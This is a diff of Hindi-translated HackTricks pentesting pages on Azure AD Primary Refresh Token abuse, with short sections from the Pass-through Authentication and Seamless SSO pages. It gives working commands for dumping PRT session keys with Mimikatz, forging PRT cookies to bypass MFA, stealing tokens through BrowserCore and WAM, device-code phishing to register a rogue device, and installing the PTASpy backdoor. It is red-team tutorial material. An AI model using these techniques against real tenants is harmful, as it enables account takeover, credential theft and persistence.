`token::elevate` SYSTEM का अनुकरण करेगा और `dpapi::cloudapkd` कमांड `/unprotect` के साथ DPAPI मास्टर कुंजी का उपयोग करके प्रदान किए गए KeyValue ब्लॉब को डिक्रिप्ट करेगा। इससे स्पष्ट-टेक्स्ट सत्र कुंजी और संबंधित Derived Key और Context प्राप्त होता है जो साइनिंग के लिए उपयोग किया जाता है:
|
||||
- **Clear key** – स्पष्ट टेक्स्ट में 32-बाइट सत्र कुंजी (हैक्स स्ट्रिंग के रूप में प्रदर्शित)।
|
||||
- **Derived Key** – सत्र कुंजी और एक संदर्भ मान से निकाली गई 32-बाइट कुंजी (इस पर नीचे और अधिक)।
|
||||
- **Context** – 24-बाइट यादृच्छिक संदर्भ जो PRT कुकी के लिए साइनिंग कुंजी निकालते समय उपयोग किया गया था।
|
||||
- **Context** – 24-बाइट यादृच्छिक संदर्भ जो PRT कुकी के लिए साइनिंग कुंजी निकालने के समय उपयोग किया गया था।
|
||||
|
||||
> [!NOTE]
|
||||
> यदि यह आपके लिए उपयोगकर्ता का अनुकरण करने के लिए काम नहीं करता है, तो **`AADInternals`** का उपयोग करते हुए निम्नलिखित अनुभाग की जांच करें।
|
||||
@@ -105,7 +105,7 @@ Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<Encrypte
|
||||
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
|
||||
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
|
||||
```
|
||||
Mimikatz एक साइन किया हुआ JWT (जिसे `PRT cookie` कहा जाता है) "Signature with key" पंक्ति के बाद आउटपुट करेगा, जिसमें PRT होता है और इसे प्राप्त कुंजी का उपयोग करके साइन किया जाता है। इस JWT को कॉपी किया जा सकता है और फिर एक वेब सत्र में उपयोग किया जा सकता है। उदाहरण के लिए, एक हमलावर एक ब्राउज़र खोल सकता है, `login.microsoftonline.com` पर जा सकता है, और `x-ms-RefreshTokenCredential` नामक एक कुकी सेट कर सकता है, जिसका मान यह JWT होता है। जब ब्राउज़र रिफ्रेश या नेविगेट करता है, Azure AD सत्र को प्रमाणित के रूप में मानता है (PRT कुकी को इस तरह प्रस्तुत किया जाता है जैसे SSO हुआ हो), और यह निर्दिष्ट संसाधन के लिए एक प्राधिकरण कोड या एक्सेस टोकन जारी करेगा। प्रैक्टिस में, कोई Office 365 या Azure पोर्टल जैसे संसाधन पर नेविगेट करेगा; एक मान्य PRT कुकी की उपस्थिति का मतलब है कि Azure AD बिना अतिरिक्त लॉगिन के एक्सेस प्रदान करेगा (MFA को बायपास करते हुए, क्योंकि PRT पहले से प्रमाणित है)।
|
||||
Mimikatz एक साइन किया हुआ JWT (जिसे `PRT cookie` कहा जाता है) "Signature with key" लाइन के बाद आउटपुट करेगा, जिसमें PRT होता है और इसे प्राप्त कुंजी का उपयोग करके साइन किया जाता है। इस JWT को कॉपी किया जा सकता है और फिर एक वेब सत्र में उपयोग किया जा सकता है। उदाहरण के लिए, एक हमलावर एक ब्राउज़र खोल सकता है, `login.microsoftonline.com` पर जा सकता है, और एक कुकी सेट कर सकता है जिसका नाम `x-ms-RefreshTokenCredential` है और जिसका मान यह JWT है। जब ब्राउज़र रिफ्रेश या नेविगेट करता है, Azure AD सत्र को प्रमाणित के रूप में मानता है (PRT कुकी को इस तरह प्रस्तुत किया जाता है जैसे SSO हुआ हो), और यह निर्दिष्ट संसाधन के लिए एक प्राधिकरण कोड या एक्सेस टोकन जारी करेगा। प्रैक्टिस में, कोई Office 365 या Azure पोर्टल जैसे संसाधन पर नेविगेट करेगा; एक मान्य PRT कुकी की उपस्थिति का मतलब है कि Azure AD बिना अतिरिक्त लॉगिन के एक्सेस देगा (MFA को बायपास करते हुए, क्योंकि PRT पहले से प्रमाणित है)।
|
||||
|
||||
आप **`roadtx`** और **`roadrecon`** का उपयोग PRT कुकी के PRT के साथ उपयोगकर्ता का अनुकरण करने के लिए भी कर सकते हैं *(TODO: Find the exact command lines to use roadtx/roadrecon to get credentials from a PRT)*।
|
||||
|
||||
@@ -135,7 +135,7 @@ $prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey
|
||||
# Get an access token for MS Graph API
|
||||
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken
|
||||
```
|
||||
यह एक ताजा PRT कुकी (एक nonce के साथ) प्राप्त करता है और फिर इसका उपयोग Azure AD Graph API के लिए एक एक्सेस टोकन प्राप्त करने के लिए करता है (उपयोगकर्ता की ओर से क्लाउड एक्सेस का प्रदर्शन करते हुए)। AADInternals बहुत सारी क्रिप्टोग्राफी को अमूर्त करता है और इसके तहत Windows घटकों या अपनी स्वयं की लॉजिक का उपयोग करता है।
|
||||
यह एक ताजा PRT कुकी (एक nonce के साथ) प्राप्त करता है और फिर इसका उपयोग Azure AD Graph API के लिए एक एक्सेस टोकन प्राप्त करने के लिए करता है (उपयोगकर्ता की ओर से क्लाउड एक्सेस का प्रदर्शन करते हुए)। AADInternals बहुत सी क्रिप्टोग्राफी को अमूर्त करता है और इसके तहत Windows घटकों या अपनी स्वयं की लॉजिक का उपयोग करता है।
|
||||
|
||||
### Mimikatz + roadtx
|
||||
|
||||
@@ -156,29 +156,29 @@ mimikatz द्वारा डंप की गई संदर्भ और
|
||||
```bash
|
||||
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
|
||||
```
|
||||
## संरक्षित PRTs का दुरुपयोग
|
||||
## संरक्षित PRT का दुरुपयोग
|
||||
|
||||
उल्लेखित सुरक्षा उपायों के बावजूद, एक हमलावर जिसने पहले ही एक डिवाइस को समझौता कर लिया है (एक स्थानीय उपयोगकर्ता के रूप में या यहां तक कि SYSTEM के रूप में) अभी भी **नए एक्सेस टोकन प्राप्त करने के लिए PRT का दुरुपयोग कर सकता है** Windows के अपने टोकन ब्रोकर APIs और सुरक्षा घटकों का लाभ उठाकर। कच्चे PRT या कुंजी को **निकालने** के बजाय, हमलावर मूलतः **"Windows से अनुरोध करता है कि वह उनके पक्ष में PRT का उपयोग करे"**। नीचे के अनुभागों में, हम PRTs और उनके सत्र कुंजियों के दुरुपयोग के लिए वर्तमान में मान्य तकनीकों का वर्णन करते हैं जो अद्यतन Windows उपकरणों पर लागू होती हैं जहां TPM सुरक्षा प्रभाव में है। ये सभी तकनीकें लक्षित मशीन पर पोस्ट-एक्सप्लॉइटेशन एक्सेस मानती हैं, और **बिल्ट-इन प्रमाणीकरण प्रवाह के दुरुपयोग पर ध्यान केंद्रित करती हैं** (कोई पैच न की गई कमजोरियों की आवश्यकता नहीं है)।
|
||||
उल्लेखित सुरक्षा उपायों के बावजूद, एक हमलावर जिसने पहले ही एक डिवाइस को समझौता कर लिया है (एक स्थानीय उपयोगकर्ता के रूप में या यहां तक कि SYSTEM के रूप में) अभी भी **नए एक्सेस टोकन प्राप्त करने के लिए PRT का दुरुपयोग कर सकता है** Windows के अपने टोकन ब्रोकर APIs और सुरक्षा घटकों का लाभ उठाकर। कच्चे PRT या कुंजी को **निकालने** के बजाय, हमलावर मूलतः **Windows से उनके पक्ष में PRT का उपयोग करने के लिए "कहता" है**। नीचे के अनुभागों में, हम PRTs और उनके सत्र कुंजियों के दुरुपयोग के लिए वर्तमान में मान्य तकनीकों को रेखांकित करते हैं जो अद्यतन Windows उपकरणों पर लागू होती हैं जहां TPM सुरक्षा प्रभाव में है। ये सभी तकनीकें लक्षित मशीन पर पोस्ट-एक्सप्लॉइटेशन एक्सेस मानती हैं, और **निर्मित प्रमाणीकरण प्रवाह के दुरुपयोग पर ध्यान केंद्रित करती हैं** (कोई पैच न की गई कमजोरियों की आवश्यकता नहीं है)।
|
||||
|
||||
### Windows टोकन ब्रोकर आर्किटेक्चर और SSO प्रवाह
|
||||
|
||||
आधुनिक Windows क्लाउड प्रमाणीकरण को एक अंतर्निहित **टोकन ब्रोकर** स्टैक के माध्यम से संभालता है, जिसमें उपयोगकर्ता मोड और LSASS (स्थानीय सुरक्षा प्राधिकरण) दोनों में घटक शामिल हैं। इस आर्किटेक्चर के प्रमुख हिस्से में शामिल हैं:
|
||||
|
||||
- **LSASS CloudAP प्लगइन:** जब एक डिवाइस Azure AD से जुड़ा होता है, तो LSASS क्लाउड प्रमाणीकरण पैकेज (जैसे `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`) लोड करता है जो PRTs और टोकन अनुरोधों का प्रबंधन करते हैं। LSASS (SYSTEM के रूप में चल रहा) PRT भंडारण, नवीनीकरण और उपयोग का समन्वय करता है, और क्रिप्टोग्राफिक संचालन (जैसे सत्र कुंजी के साथ PRT चुनौती पर हस्ताक्षर करना) करने के लिए TPM के साथ इंटरफेस करता है।
|
||||
- **LSASS CloudAP प्लगइन:** जब एक डिवाइस Azure AD से जुड़ा होता है, LSASS क्लाउड प्रमाणीकरण पैकेज (जैसे `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`) लोड करता है जो PRTs और टोकन अनुरोधों का प्रबंधन करते हैं। LSASS (SYSTEM के रूप में चल रहा) PRT भंडारण, नवीनीकरण और उपयोग का समन्वय करता है, और क्रिप्टोग्राफिक संचालन (जैसे सत्र कुंजी के साथ PRT चुनौती पर हस्ताक्षर करना) करने के लिए TPM के साथ इंटरफेस करता है।
|
||||
|
||||
- **वेब खाता प्रबंधक (WAM):** Windows वेब खाता प्रबंधक एक उपयोगकर्ता-मोड ढांचा है (जो COM/WinRT APIs के माध्यम से सुलभ है) जो अनुप्रयोगों या ब्राउज़रों को प्रमाणीकरण के लिए क्रेडेंशियल्स के लिए पूछे बिना क्लाउड खातों के लिए टोकन अनुरोध करने की अनुमति देता है। WAM उपयोगकर्ता अनुप्रयोगों और सुरक्षित LSASS/TPM-समर्थित PRT के बीच एक ब्रोकर के रूप में कार्य करता है। उदाहरण के लिए, Microsoft's MSAL पुस्तकालय और कुछ OS घटक WAM का उपयोग करके लॉग इन किए गए उपयोगकर्ता के PRT का उपयोग करके चुपचाप टोकन प्राप्त करते हैं।
|
||||
- **वेब खाता प्रबंधक (WAM):** Windows वेब खाता प्रबंधक एक उपयोगकर्ता-मोड ढांचा है (जो COM/WinRT APIs के माध्यम से सुलभ है) जो अनुप्रयोगों या ब्राउज़रों को प्रमाणीकरण के लिए क्रेडेंशियल्स के लिए संकेत किए बिना क्लाउड खातों के लिए टोकन अनुरोध करने की अनुमति देता है। WAM उपयोगकर्ता अनुप्रयोगों और सुरक्षित LSASS/TPM-समर्थित PRT के बीच एक ब्रोकर के रूप में कार्य करता है। उदाहरण के लिए, Microsoft's MSAL पुस्तकालय और कुछ OS घटक WAM का उपयोग करके लॉग इन किए गए उपयोगकर्ता के PRT का उपयोग करके चुपचाप टोकन प्राप्त करते हैं।
|
||||
|
||||
- **BrowserCore.exe और टोकन ब्रोकर COM इंटरफेस:** ब्राउज़र SSO के लिए, Windows में एक घटक शामिल है जिसे **BrowserCore.exe** कहा जाता है (जो *Windows Security\BrowserCore* के तहत स्थित है)। यह एक मूल संदेश होस्ट है जिसका उपयोग ब्राउज़रों (Edge, Chrome एक एक्सटेंशन के माध्यम से, आदि) द्वारा Azure AD लॉगिन के लिए PRT-व्युत्पन्न SSO टोकन प्राप्त करने के लिए किया जाता है। आंतरिक रूप से, BrowserCore एक COM ऑब्जेक्ट का लाभ उठाता है जो `MicrosoftAccountTokenProvider.dll` द्वारा प्रदान किया जाता है ताकि PRT-आधारित कुकी/टोकन प्राप्त किया जा सके। वास्तव में, यह COM इंटरफेस एक पहले पक्ष का "टोकन ब्रोकर" API है जिसे कोई भी प्रक्रिया जो उपयोगकर्ता के रूप में चल रही है, SSO टोकन प्राप्त करने के लिए कॉल कर सकती है (जब तक उपयोगकर्ता के पास LSASS में एक मान्य PRT है)।
|
||||
- **BrowserCore.exe और टोकन ब्रोकर COM इंटरफेस:** ब्राउज़र SSO के लिए, Windows में एक घटक शामिल है जिसे **BrowserCore.exe** कहा जाता है (जो *Windows Security\BrowserCore* के तहत स्थित है)। यह एक मूल संदेश होस्ट है जिसका उपयोग ब्राउज़रों (Edge, Chrome एक एक्सटेंशन के माध्यम से, आदि) द्वारा Azure AD लॉगिन के लिए PRT-व्युत्पन्न SSO टोकन प्राप्त करने के लिए किया जाता है। आंतरिक रूप से, BrowserCore एक COM ऑब्जेक्ट का लाभ उठाता है जो `MicrosoftAccountTokenProvider.dll` द्वारा प्रदान किया गया है ताकि PRT-आधारित कुकी/टोकन प्राप्त किया जा सके। वास्तव में, यह COM इंटरफेस एक पहले पक्ष का "टोकन ब्रोकर" API है जिसे उपयोगकर्ता के रूप में चलने वाली कोई भी प्रक्रिया SSO टोकन प्राप्त करने के लिए obscall कर सकती है (जब तक उपयोगकर्ता के पास LSASS में एक मान्य PRT है)।
|
||||
|
||||
जब एक Azure AD से जुड़े उपयोगकर्ता किसी संसाधन (मान लीजिए, Azure पोर्टल) तक पहुंचने की कोशिश करता है, तो प्रवाह आमतौर पर इस प्रकार होता है: एक अनुप्रयोग WAM या BrowserCore के COM इंटरफेस में कॉल करता है, जो बदले में LSASS के साथ संवाद करता है। LSASS PRT और सत्र कुंजी (TPM द्वारा सुरक्षित) का उपयोग करके एक **SSO टोकन** उत्पन्न करता है -- जिसे अक्सर **PRT कुकी** कहा जाता है -- जिसे फिर अनुप्रयोग या ब्राउज़र को वापस दिया जाता है। PRT कुकी एक विशेष JWT है जिसमें एन्क्रिप्टेड PRT और एक nonce होता है, जिसे PRT के सत्र कुंजी से निकाली गई कुंजी के साथ हस्ताक्षरित किया जाता है। यह कुकी Azure AD को भेजी जाती है (एक `x-ms-RefreshTokenCredential` हेडर में) यह साबित करने के लिए कि डिवाइस और उपयोगकर्ता के पास एक मान्य PRT है, जिससे Azure AD विभिन्न अनुप्रयोगों के लिए मानक OAuth रिफ्रेश और एक्सेस टोकन जारी कर सकता है। विशेष रूप से, PRT में मौजूद कोई भी मल्टी-फैक्टर प्रमाणीकरण (MFA) दावा इस SSO प्रक्रिया के माध्यम से प्राप्त टोकनों में ले जाया जाएगा, जिसका अर्थ है कि PRT-व्युत्पन्न टोकन MFA-सुरक्षित संसाधनों को संतुष्ट कर सकते हैं।
|
||||
जब एक Azure AD से जुड़े उपयोगकर्ता एक संसाधन (मान लीजिए, Azure पोर्टल) तक पहुँचने की कोशिश करता है, तो प्रवाह आमतौर पर होता है: एक अनुप्रयोग WAM या BrowserCore के COM इंटरफेस में कॉल करता है, जो बदले में LSASS के साथ संवाद करता है। LSASS PRT और सत्र कुंजी (TPM द्वारा सुरक्षित) का उपयोग करके एक **SSO टोकन** उत्पन्न करता है -- जिसे अक्सर **PRT कुकी** कहा जाता है -- जिसे फिर अनुप्रयोग या ब्राउज़र को वापस दिया जाता है। PRT कुकी एक विशेष JWT है जिसमें एन्क्रिप्टेड PRT और एक nonce होता है, जिसे PRT के सत्र कुंजी से निकाली गई कुंजी के साथ हस्ताक्षरित किया जाता है। यह कुकी Azure AD को भेजी जाती है (एक `x-ms-RefreshTokenCredential` हेडर में) यह साबित करने के लिए कि डिवाइस और उपयोगकर्ता के पास एक मान्य PRT है, जिससे Azure AD विभिन्न अनुप्रयोगों के लिए मानक OAuth रिफ्रेश और एक्सेस टोकन जारी कर सकता है। विशेष रूप से, PRT में मौजूद कोई भी मल्टी-फैक्टर प्रमाणीकरण (MFA) दावा इस SSO प्रक्रिया के माध्यम से प्राप्त टोकनों में ले जाया जाएगा, जिसका अर्थ है कि PRT-व्युत्पन्न टोकन MFA-सुरक्षित संसाधनों को संतुष्ट कर सकते हैं।
|
||||
|
||||
### उपयोगकर्ता-स्तरीय टोकन चोरी (गैर-प्रशासक)
|
||||
|
||||
जब एक हमलावर के पास **उपयोगकर्ता-स्तरीय कोड निष्पादन** होता है, तो PRT की TPM सुरक्षा हमलावर को टोकन प्राप्त करने से नहीं रोकती है। हमलावर **बिल्ट-इन Windows टोकन ब्रोकर APIs का लाभ उठाता है**:
|
||||
जब एक हमलावर के पास **उपयोगकर्ता-स्तरीय कोड निष्पादन** होता है, तो PRT की TPM सुरक्षा हमलावर को टोकन प्राप्त करने से नहीं रोकती। हमलावर **निर्मित Windows टोकन ब्रोकर APIs का लाभ उठाता है**:
|
||||
|
||||
#### **BrowserCore (MicrosoftAccountTokenProvider COM)**
|
||||
|
||||
BrowserCore एक COM क्लास (`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`) को PRT कुकीज़ प्राप्त करने के लिए उजागर करता है। इस COM API को Azure AD SSO के लिए ब्राउज़रों (Chrome/Edge एक्सटेंशन) द्वारा वैध रूप से कॉल किया जाता है।
|
||||
BrowserCore एक COM क्लास (`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`) को PRT कुकीज़ प्राप्त करने के लिए उजागर करता है। इस COM API को Azure AD SSO के लिए ब्राउज़रों (Chrome/Edge एक्सटेंशन) द्वारा वैध रूप से बुलाया जाता है।
|
||||
|
||||
- **[RequestAADRefreshToken](https://github.com/leechristensen/RequestAADRefreshToken)**
|
||||
```bash
|
||||
@@ -229,7 +229,7 @@ Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
|
||||
```
|
||||
### **Web Account Manager (WAM) APIs**
|
||||
|
||||
हमलावर वैध Microsoft प्रमाणीकरण पुस्तकालयों (**MSAL**, **WAM APIs**, **WebAuthenticationCoreManager**) का उपयोग करते हैं जो उपयोगकर्ता-स्तरीय प्रक्रियाओं से चुपचाप TPM-संरक्षित PRT का उपयोग करके टोकन प्राप्त करने के लिए।
|
||||
हमलावर वैध Microsoft प्रमाणीकरण पुस्तकालयों (**MSAL**, **WAM APIs**, **WebAuthenticationCoreManager**) का उपयोग करते हैं जो उपयोगकर्ता-स्तरीय प्रक्रियाओं से चुपचाप TPM-संरक्षित PRT का लाभ उठाकर टोकन प्राप्त करते हैं।
|
||||
|
||||
- **[aadprt](https://posts.specterops.io/)**
|
||||
```bash
|
||||
@@ -257,7 +257,7 @@ $result.AccessToken
|
||||
|
||||
### **उपयोगकर्ता अनुकरण और टोकन पुनर्प्राप्ति**
|
||||
|
||||
Admin/SYSTEM अन्य उपयोगकर्ताओं के चल रहे सत्रों का अनुकरण कर सकते हैं ताकि टोकन उत्पन्न करने के लिए BrowserCore या WAM को सक्रिय किया जा सके।
|
||||
व्यवस्थापक/SYSTEM अन्य उपयोगकर्ताओं के चल रहे सत्रों का अनुकरण कर सकते हैं ताकि टोकन उत्पन्न करने के लिए BrowserCore या WAM को सक्रिय किया जा सके।
|
||||
|
||||
इसके लिए बस उपयोगकर्ता प्रक्रिया (जैसे, `explorer.exe`) का अनुकरण करें और पिछले अनुभाग में टिप्पणी की गई किसी भी तकनीक का उपयोग करके टोकन ब्रोकर APIs को सक्रिय करें।
|
||||
|
||||
@@ -267,7 +267,7 @@ Admin/SYSTEM अन्य उपयोगकर्ताओं के चल र
|
||||
|
||||
## PRT फ़िशिंग
|
||||
|
||||
**OAuth डिवाइस कोड** प्रवाह का दुरुपयोग करें **Microsoft Authentication Broker क्लाइंट ID** (**`29d9ed98-a469-4536-ade2-f981bc1d605e`**) और **डिवाइस पंजीकरण सेवा (DRS)** संसाधन का उपयोग करके एक **रिफ्रेश टोकन प्राप्त करें जिसे एक प्राथमिक रिफ्रेश टोकन (PRT) में अपग्रेड किया जा सकता है** एक **धोखाधड़ी डिवाइस** पंजीकरण के बाद।
|
||||
**OAuth डिवाइस कोड** प्रवाह का दुरुपयोग करें **Microsoft Authentication Broker क्लाइंट ID** (**`29d9ed98-a469-4536-ade2-f981bc1d605e`**) और **डिवाइस पंजीकरण सेवा (DRS)** संसाधन का उपयोग करके एक **रिफ्रेश टोकन प्राप्त करें जिसे एक प्राथमिक रिफ्रेश टोकन (PRT) में अपग्रेड किया जा सकता है** एक **धोखाधड़ी डिवाइस** पंजीकृत करने के बाद।
|
||||
|
||||
### **यह क्यों काम करता है**
|
||||
|
||||
@@ -279,7 +279,7 @@ Admin/SYSTEM अन्य उपयोगकर्ताओं के चल र
|
||||
|
||||
- **डिवाइस कोड के माध्यम से उपयोगकर्ता प्रमाणीकरण** **ब्रोकर क्लाइंट ID** (`29d9ed98-a469-4536-ade2-f981bc1d605e`) और **DRS स्कोप/संसाधन** (जैसे, **`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** या **`https://enrollment.manage.microsoft.com/`**) का उपयोग करके।
|
||||
- **उपयोगकर्ता Entra ID में डिवाइस पंजीकृत कर सकता है** (**डिफ़ॉल्ट: अनुमति दी गई**, लेकिन इसे प्रतिबंधित या कोटा-सीमित किया जा सकता है)।
|
||||
- **कोई अवरोध CA नीतियाँ नहीं** जो **डिवाइस कोड** को **अक्षम** करती हैं या **लक्षित ऐप्स के लिए अनुपालन/हाइब्रिड डिवाइस** की आवश्यकता होती है (वे PRT जारी करने को रोकेंगी, लेकिन **इसे** संरक्षित ऐप्स तक पहुंचने के लिए **उपयोग करने** से रोकेंगी)।
|
||||
- **कोई अवरोध CA नीतियाँ नहीं** जो **डिवाइस कोड को अक्षम** करती हैं या **लक्षित ऐप्स के लिए अनुपालन/हाइब्रिड डिवाइस की आवश्यकता** करती हैं (वे PRT जारी करने को रोकेंगी, लेकिन **इसे** संरक्षित ऐप्स तक पहुंचने के लिए **उपयोग** करने से रोकेंगी)।
|
||||
- **हमलावर-नियंत्रित होस्ट** प्रवाह को चलाने और टोकन/डिवाइस कुंजी रखने के लिए।
|
||||
|
||||
**हमला प्रवाह**:
|
||||
@@ -295,26 +295,24 @@ curl -s -X POST \
|
||||
|
||||
3. **उस रिफ्रेश टोकन का उपयोग करके टेनेट में एक धोखाधड़ी डिवाइस रजिस्टर करें** (डिवाइस ऑब्जेक्ट बनाया जाता है और शिकार के साथ लिंक किया जाता है)।
|
||||
|
||||
4. **रिफ्रेश टोकन + डिवाइस पहचान/कीज़** का आदान-प्रदान करके **PRT** में **अपग्रेड करें** → **PRT** हमलावर के डिवाइस से बंधा होता है।
|
||||
4. **रिफ्रेश टोकन + डिवाइस पहचान/कीज़** का आदान-प्रदान करके **PRT में अपग्रेड करें** → **हमलावर के डिवाइस के लिए PRT** बंधा हुआ।
|
||||
|
||||
5. **(वैकल्पिक स्थिरता)**: यदि MFA ताजा था, तो **Windows Hello for Business की एक कुंजी रजिस्टर करें** ताकि **दीर्घकालिक, पासवर्ड रहित पहुंच** बनाए रखी जा सके।
|
||||
5. **(वैकल्पिक स्थायीता)**: यदि MFA ताजा था, तो **लंबी अवधि के लिए पासवर्ड रहित पहुंच बनाए रखने के लिए Windows Hello for Business कुंजी रजिस्टर करें**।
|
||||
|
||||
6. **दुरुपयोग**: उपयोगकर्ता के रूप में **एक्सचेंज/ग्राफ/शेयरपॉइंट/टीम/कस्टम ऐप्स** के लिए **एक्सेस टोकन** प्राप्त करने के लिए **PRT** (या **PRT कुकी** बनाना) भुनाएं।
|
||||
6. **दुरुपयोग**: उपयोगकर्ता के रूप में **एक्सचेंज/ग्राफ/शेयरपॉइंट/टीम/कस्टम ऐप्स** के लिए **एक्सेस टोकन** प्राप्त करने के लिए **PRT** को भुनाएं (या **PRT कुकी** बनाएं)।
|
||||
|
||||
|
||||
### सार्वजनिक उपकरण और प्रमाण-का-धारणा
|
||||
### सार्वजनिक उपकरण और प्रमाण-को-कॉन्सेप्ट
|
||||
|
||||
- [ROADtools/ROADtx](https://github.com/dirkjanm/ROADtools): OAuth प्रवाह, डिवाइस रजिस्ट्रेशन, और टोकन अपग्रेड को स्वचालित करता है।
|
||||
- [DeviceCode2WinHello](https://github.com/kiwids0220/deviceCode2WinHello): एकल-आदेश स्क्रिप्ट जो डिवाइस कोड फ़िश-टू-PRT+WHfB कुंजी को स्वचालित करती है।
|
||||
|
||||
- [DeviceCode2WinHello](https://github.com/kiwids0220/deviceCode2WinHello): डिवाइस कोड फ़िश-टू-PRT+WHfB कुंजी को स्वचालित करने वाला एकल-आदेश स्क्रिप्ट।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [Dirkjan का PRT पर ब्लॉग पोस्ट](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
|
||||
- [Dirkjan का PRT फ़िशिंग पर पोस्ट](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
|
||||
- [Dirkjan का PRT के दुरुपयोग पर पोस्ट](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
|
||||
- [Dirkjan का PRTs को फ़िशिंग करने पर पोस्ट](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
|
||||
- [Dirkjan का PRTs के दुरुपयोग पर पोस्ट](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
|
||||
- SpecterOps पोस्ट पर [Azure AD अनुरोध टोकन का अनुरोध करना](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
|
||||
- [AADInternals का PRT पर पोस्ट](https://aadinternals.com/post/prt/)
|
||||
- [AADInternals पर PRTs पर पोस्ट](https://aadinternals.com/post/prt/)
|
||||
- [blog.3or.de](https://blog.3or.de/understanding-primary-refresh-tokens-and-cve-2021-33779-how-pass-the-prt-was-eliminated#:~:text=,the%20Token%20Broker%20on%20Windows)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# Az - PTA - Pass-through Authentication
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
@@ -20,7 +20,7 @@ PTA में **पहचानें** **सिंक्रनाइज़**
|
||||
4. **एजेंट** क्रेड्स को **ऑन-प्रिम AD** के खिलाफ **मान्य** करता है और **प्रतिक्रिया** **वापस** Azure AD को भेजता है, जो यदि प्रतिक्रिया सकारात्मक है, तो उपयोगकर्ता का **लॉगिन पूरा** करता है।
|
||||
|
||||
> [!WARNING]
|
||||
> यदि एक हमलावर **PTA** को **समझौता** करता है, तो वह क्यू से सभी **क्रेडेंशियल्स** को **देख** सकता है ( **स्पष्ट-टेक्स्ट** में)।\
|
||||
> यदि एक हमलावर **PTA** को **समझौता** करता है, तो वह क्यू से सभी **क्रेडेंशियल्स** ( **स्पष्ट-टेक्स्ट** में) **देख** सकता है।\
|
||||
> वह AzureAD के लिए **किसी भी क्रेडेंशियल्स** को भी **मान्य** कर सकता है (Skeleton key के समान हमला)।
|
||||
|
||||
### Enumeration
|
||||
@@ -80,11 +80,11 @@ Remove-AADIntPTASpy # Remove the backdoor
|
||||
> जब AzureADConnectAuthenticationAgent सेवा को पुनः प्रारंभ किया जाता है, तो PTASpy “अनलोड” हो जाता है और इसे फिर से स्थापित करना आवश्यक है।
|
||||
|
||||
> [!CAUTION]
|
||||
> क्लाउड पर **GA विशेषाधिकार** प्राप्त करने के बाद, **एक नया PTA एजेंट पंजीकृत करना** संभव है और **किसी भी पासवर्ड** का उपयोग करके **प्रमाणित करने** के लिए **पिछले** चरणों को **दोहराना** संभव है और साथ ही, **स्पष्ट-टेक्स्ट में पासवर्ड प्राप्त करना** भी संभव है।
|
||||
> क्लाउड पर **GA विशेषाधिकार** प्राप्त करने के बाद, **एक नया PTA एजेंट पंजीकृत करना** संभव है और **किसी भी पासवर्ड का उपयोग करके प्रमाणीकरण करने के लिए** **पिछले** चरणों को **दोहराना** संभव है और साथ ही, **स्पष्ट पाठ में पासवर्ड प्राप्त करना।**
|
||||
|
||||
### Seamless SSO
|
||||
|
||||
PTA के साथ Seamless SSO का उपयोग करना संभव है, जो अन्य दुरुपयोगों के प्रति संवेदनशील है। इसे जांचें:
|
||||
यह PTA के साथ Seamless SSO का उपयोग करना संभव है, जो अन्य दुरुपयोगों के प्रति संवेदनशील है। इसे जांचें:
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
@@ -95,4 +95,4 @@ seamless-sso.md
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta)
|
||||
- [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,22 +1,22 @@
|
||||
# Az - Seamless SSO
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) स्वचालित रूप से **उपयोगकर्ताओं को उनके कॉर्पोरेट उपकरणों पर साइन इन करता है** जो आपके कॉर्पोरेट नेटवर्क से जुड़े होते हैं। जब सक्षम किया जाता है, **उपयोगकर्ताओं को Azure AD में साइन इन करने के लिए अपने पासवर्ड टाइप करने की आवश्यकता नहीं होती है**, और आमतौर पर, अपने उपयोगकर्ता नाम भी टाइप नहीं करने होते। यह सुविधा आपके उपयोगकर्ताओं को आपके क्लाउड-आधारित अनुप्रयोगों तक आसान पहुंच प्रदान करती है बिना किसी अतिरिक्त ऑन-प्रिमाइसेस घटकों की आवश्यकता के।
|
||||
